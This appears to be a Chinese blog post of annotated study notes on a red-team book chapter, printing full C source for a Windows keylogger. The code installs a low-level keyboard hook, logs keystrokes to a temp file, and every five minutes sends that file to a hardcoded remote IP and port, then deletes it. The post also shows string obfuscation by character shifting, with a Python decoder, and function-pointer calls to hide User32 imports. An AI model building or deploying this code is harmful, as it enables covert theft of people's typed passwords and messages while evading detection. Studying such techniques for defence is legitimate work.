基础的键盘记录器

  • by

渗透测试实战第三版(红队版)第七章第一小节,代码思路均来自此,个人仅仅进行了注解学习

1.c语言编写windows基础的socket通信
2.通过编码进行混淆
3.通过使用函数指针调用 User32.dll 中的函数混淆

1.c语言编写windows基础的socket通信

io.h

#ifndef IO_H
#define IO_H

int socket_setup(void);
int socket_connect(void);
int socket_cleanup(void);
int socket_sendfile(void);

#endif

io.c

#include <stdio.h>
#include <ws2tcpip.h>
#include <winsock.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>

#include "io.h"

//将ws2_32.lib库文件加入到本工程中
#pragma comment(lib, "ws2_32.lib")  //动态载入ws2_32.dll

int sock;
//addrinfo内含有属性对象解析:https://blog.csdn.net/wallwind/article/details/7787569
struct addrinfo hints, *c2;

//https://blog.csdn.net/giantpoplar/article/details/47657317
int socket_setup(void)
{
    //根据版本通知操作系统,启用SOCKET的DLL库
	// Start WSA stuff
	WSADATA wsaData;
	
	if (WSAStartup(MAKEWORD(2,0), &wsaData) != 0)
	{
		return 1;
	}

	//可以为任何类型的数据进行初始化
	// ensure that hints struct is empty
	memset(&hints, 0, sizeof(hints));
	
// fill out hints with relevan                                                                                                      t wants
	hints.ai_family = AF_UNSPEC; //AF_INET,AF_INET6,UNIX etc 是ip4和ip6
	hints.ai_socktype = SOCK_STREAM; //STREAM,DATAGRAM,RAW  可靠的数据流

    //https://blog.csdn.net/drdairen/article/details/52794043
	//getaddrinfo解决了把主机名和服务名转换成套接口地址结构的问题
	// use getaddrinfo to fill out the rest of the struct
	getaddrinfo("192.168.143.128", "3490", &hints, &c2);
	
	// create socket
	if ((sock = socket(c2->ai_family, c2->ai_socktype, c2->ai_protocol)) == INVALID_SOCKET)
	{
		return 1;
	}
	
	return 0;
}

int socket_connect(void)
{
	// connect to server 
	if (connect(sock, c2->ai_addr, c2->ai_addrlen) < 0)
	{
		return 1;
	}
	
	return 0;
}

int socket_sendfile(void)
{
	int err	= 0; 
	int res	= 0;	
	int len = 0;

	DWORD bytes_read	= 0;

	char file_size[12]	= {0};

	HANDLE out_file		= NULL; //句柄类型

	LARGE_INTEGER fsize; //LARGE_INTEGER是一个union,用于表示一个有符号整数值

	out_file = CreateFile( "C:\\Windows\\Temp\\log.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (out_file == INVALID_HANDLE_VALUE)  //INVALID_HANDLE_VALUE 表示出错
	{
		err = GetLastError();
		return 1;
	}	
	
	if (res = GetFileSizeEx(out_file, &fsize) == 0)
	{
		err = GetLastError();
		return 1;
	}
	
	void *read_buffer = calloc((fsize.QuadPart + 1), sizeof(char)); 
	if (read_buffer == NULL)
	{
		return 1;
	}

	if(res = ReadFile(out_file, read_buffer, fsize.QuadPart, &bytes_read, NULL) == 0)
	{
		return 1;
	}
	
	res = send(sock, read_buffer, fsize.QuadPart, 0);

	if(res <= 0)
	{
		return 1;
	}


	free(read_buffer);	
	CloseHandle(out_file);
	DeleteFile("C:\\Windows\\Temp\\log.txt");
	return 0;
}

int socket_cleanup(void)
{
	// close socket and clean up
	closesocket(sock);
	WSACleanup();
	return 0;
}


banben.c

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <time.h>

#include "io.h"

#pragma comment(lib, "user32.lib")


// Define global hook
HHOOK hHook = NULL;

// Define thread handle
HANDLE h_thread;
// Declare time stuff

int get_time(void)
{
	time_t current_time;
	current_time = time(NULL);
	//struct tm:结构体类型tm定义:https://www.zybang.com/question/f0588ef21e8655220a4505fb793cea1b.html
	struct tm *tm_struct = localtime(&current_time);
	
	int min = tm_struct->tm_min;
	return min;
}

// connect to server
//windows API函数采用这种调用约定
DWORD WINAPI thread_func(LPVOID lpParam)
//LPVOID lpParam: 一个32位指针,指向一个未指明的类型的值
{
	int ctime 	= 0;
	int r		= 0;
	
	while(1)
	{
		ctime = get_time();
		if((ctime % 5) == 0)
		{
			socket_setup();
			if (socket_connect() == 0)
			{
				socket_sendfile();
			}

			socket_cleanup();
		}
		Sleep(59000);
	}
	return 0;
}

// Define Callback function
//https://zhidao.baidu.com/question/74237358.html
//LRESULT就是长整型。之所以取名类LRESULT,是因为L即long;result表示结果,说明这个函数的返回值是某个结果
//CALLBACK是由用户设计却由windows系统呼叫的函数,统称为callback函数
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	BYTE boardstate[256]	= {0};
	WORD cbuff[2] 		= {0}; 

	// set file pointer
	FILE *fpointer;
	
	// open file
	fpointer = fopen("C:\\Windows\\Temp\\log.txt", "a");
	
	// error handling
	if (fpointer == NULL)
	{
		// in case of failure, call next hook
		//CallNextHookEx是一种函数,可以将钩子信息传递到当前钩子链中的下一个子程,一个钩子程序可以调用这个函数之前或之后处理钩子信息
		return CallNextHookEx(hHook, nCode, wParam, lParam);
		//nCode 钩传递给当前Hook过程的代码。下一个钩子程序使用此代码
		//wParam 要传递的参数; 由钩子类型决定是什么参数
		//lParam 要传递的参数; 由钩子类型决定是什么参数
	}
    //KBDLLHOOKSTRUCT 它包含底层键盘输入事件的信息
	KBDLLHOOKSTRUCT *key = (KBDLLHOOKSTRUCT *) lParam; 
	
	// Only record on down press
        if(wParam == WM_KEYDOWN)
        //WM_KEYDOWN
        //程序 用语言。wParam 指定非系统键的虚拟键码, lParam 指定重复次数,扫描码,扩展键标识符,上下文代码,前一键状态标识符,以及转换状态标识符
	{
		switch (key->vkCode)
		{
		case 0x08:
			fprintf(fpointer, "[b]");
			break;
		case 0x09:
			fprintf(fpointer, "[t]");
			break;
		case 0x0D:
			fprintf(fpointer, "\n");
			break;
		case 0xA0:
			fprintf(fpointer, "[s]");
			break;
		case 0xA1:
			fprintf(fpointer, "[s]");
		case 0xA2:
			fprintf(fpointer, "[ct]");
			break;
		case 0xA3:
			fprintf(fpointer, "[ct]");
			break;
		case 0x12:
			fprintf(fpointer, "[a]");
			break;
		case 0x14:
			fprintf(fpointer, "[c]");
			break;
		case 0x20:
			fprintf(fpointer, " ");
			break;
		case 0x2E:
			fprintf(fpointer, "[d]");
			break;
		case 0x25:
			fprintf(fpointer, "[L]");
			break;
		case 0x26:
		       	fprintf(fpointer, "[U]");
			break;
		case 0x27:
			fprintf(fpointer, "[R]");
			break;
		case 0x28:
			fprintf(fpointer, "[D]");
			break;
		case 0x5B:
			fprintf(fpointer, "[Win]");
			break;	
		case 0x5C:
			fprintf(fpointer, "[Win]");
			break;	
		case 0x5D:
			fprintf(fpointer, "[Apps]");
			break;
		default: 
			if(ToAscii((UINT)key->vkCode, (UINT)key->scanCode, boardstate, cbuff, 0) == 1)
			{
				// print whatever is in the buffer
				fprintf(fpointer, "%ws", cbuff); 
			}

			else
			{
				fprintf(fpointer, "[Error]");
			}
		}
	}
	// to let me know when special keys have been released 
	if(wParam == WM_KEYUP)
	{
		switch (key->vkCode)
		{
		case 0xA0:
			fprintf(fpointer, "[/s]");
			break;
		case 0xA1:
			fprintf(fpointer, "[/s]");
		case 0xA2:
			fprintf(fpointer, "[/ct]");
			break;
		case 0xA3:
			fprintf(fpointer, "[/ct]");
			break;
		case 0x12:
			fprintf(fpointer, "[/a]");
			break;
		default: break;
		}
	}
	// close the file pointer
	fclose(fpointer);
	
	// By definition, you have to return CallNextHookEx
	return CallNextHookEx(hHook, nCode, wParam, lParam);
}

//HINSTANCE 是“句柄型”数据类型。相当于装入到了内存的资源的ID。HINSTANCE对应的资源是instance.句柄实际上是一个 无符号长整数。但它是“句柄型”,所以你不能把它当成真的无符号长整数,拿来派别的用处,例如,不能拿来做四则运算。

//应用程序当前实例的句柄
//WinMain是一个函数,该函数的功能是被系统调用,作为一个32位应用程序的入口点。WinMain函数应初始化应用程序,显示主窗口,进入一个消息接收一发送循环,这个循环是应用程序执行的其余部分的顶级控制结构。
//WinMain不能返回Unicode字符串的原因是IpCmdLine使用的是LPSTR数据类型,而不是LPTSTR类型
//nCmdShow:指明窗口如何显示。该参数可以是下列值之一
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
    //
	// Set Windows Hook
	//WH_KEYBOARD_LL 监视输入到线程消息队列中的键盘消息
	//LowLevelKeyboardProc 低级的键盘钩子
	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
	
	// Make sure that hook is set
	if(hHook == NULL)
	{
		// exit if we dont have the hook
		return 1;
	}
	
	// Create second thread
	//一般并不推荐使用 CreateThread函数,而推荐使用RTL库里的System单元中定义的 BeginThread函数,因为这除了能创建一个线程和一个入口函数以外,还增加了几项保护措

//HANDLECreateThread(
//LPSECURITY_ATTRIBUTESlpThreadAttributes,//线程安全属性
//DWORDdwStackSize,//堆栈大小
//LPTHREAD_START_ROUTINElpStartAddress,//线程函数
//LPVOIDlpParameter,//线程参数
//DWORDdwCreationFlags,//线程创建属性
//LPDWORDlpThreadId//线程ID
//);
	h_thread = CreateThread(NULL, 0, &thread_func, NULL, 0, NULL);
	
	if(h_thread == NULL)
	{
		return 1;
	}
	
	// Enter message loop
	MSG msg;
	//https://bbs.csdn.net/topics/320225871
	//GetMessage消息队列为空会挂起线程,不占用CPU,有消息来就响应
	while(GetMessage(&msg, NULL, 0, 0))
	{
	
	}

	return 0;
}

2.通过编码进行混淆

解密函数改成了python,主要想看下东西是什么

a = ["I@b]otju}ybZksvbrum4z~z", "7?847<>48479", "9:?6"]


def decrypt(a):
    key = 6
    result=[]
    lenth = len(a)
    for n in range(lenth):
        symbol = a[n]
        e_symbol = ord(symbol) - key
        result.append(chr(e_symbol))
    result.append('\0')
    return result


for i in range(3):
    c=decrypt(a[i])
    # print(a[i])
    print(''.join(c))


C:\Windows\Temp\log.txt 
192.168.2.13 
3490 

3.通过使用函数指针调用 User32.dll 中的函数混淆

// define function definitions
typedef HHOOK(WINAPI *WinHookProc)(int something, HOOKPROC, HINSTANCE, DWORD);
typedef int(WINAPI *WinMessageProc)(LPMSG, HWND, UINT, UINT);
typedef int(WINAPI *WinConvProc)(UINT, UINT, BYTE[], LPWORD, UINT);
typedef int(WINAPI *WinNextHookProc)(HHOOK, int nCode, WPARAM, LPARAM);

2019.11.25

发表评论

电子邮件地址不会被公开。 必填项已用*标注